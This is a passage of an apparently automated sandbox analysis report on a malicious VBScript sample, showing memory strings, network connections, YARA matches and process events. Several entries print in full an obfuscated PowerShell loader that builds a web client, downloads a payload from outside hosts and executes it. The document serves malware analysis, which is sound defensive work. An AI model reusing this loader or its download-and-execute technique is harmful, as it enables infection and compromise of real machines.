Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.hotjar.com/c/hotjar-
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/puneet_ae
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wa.me/971509372493?utm_source=Puneet%20Home&utm_medium=Puneet%20Website&utm_campaign=Puneet%
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.designrush.com/best-designs/print/illuminati-vodka-print-design
Source: powershell.exe, 00000004.00000002.2399981492.00000174631CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ftsengineers.com
Source: powershell.exe, 00000004.00000002.2399981492.0000017464146000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3338058452.0000000004D05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ftsengineers.com/it/Kontrastrigt.mso
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js?render=6LfdBGMpAAAAAOzqzNpijilS6Noyt5q3K3tY2sBA&ver=3.0
Source: powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-XX4SVRK9C9
Source: powershell.exe, 00000004.00000002.2399981492.0000017462F8F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2428365661.0000017472AF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-150449161-1
Source: powershell.exe, 00000004.00000002.2399981492.00000174644E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.00000174630D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.puneet.ae
Source: powershell.exe, 00000004.00000002.2399981492.0000017464146000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2399981492.0000017462D06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3338058452.0000000004D05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.puneet.ae/it/Kontrastrigt.mso

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: unknown	HTTPS traffic detected: 209.124.66.28:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.124.66.28:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.53.42.63:443 -> 192.168.2.5:49728 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_1200.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_1576.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1200, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 1576, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848E7CD02	4_2_00007FF848E7CD02
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF848E7BF56	4_2_00007FF848E7BF56
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_049EE920	7_2_049EE920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_049EF1F0	7_2_049EF1F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_049EE5D8	7_2_049EE5D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_073C0647	7_2_073C0647

Source: v4BET4inNV.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4343
Source: unknown	Process created: Commandline size = 4343
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4343	Jump to behavior

Source: amsi64_1200.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_1576.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1200, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1576, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@9/9@4/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Pharmacists201.Str

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2128:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lwkhhwjd.plx.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=1200
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=1576

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: v4BET4inNV.vbs

ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\v4BET4inNV.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum 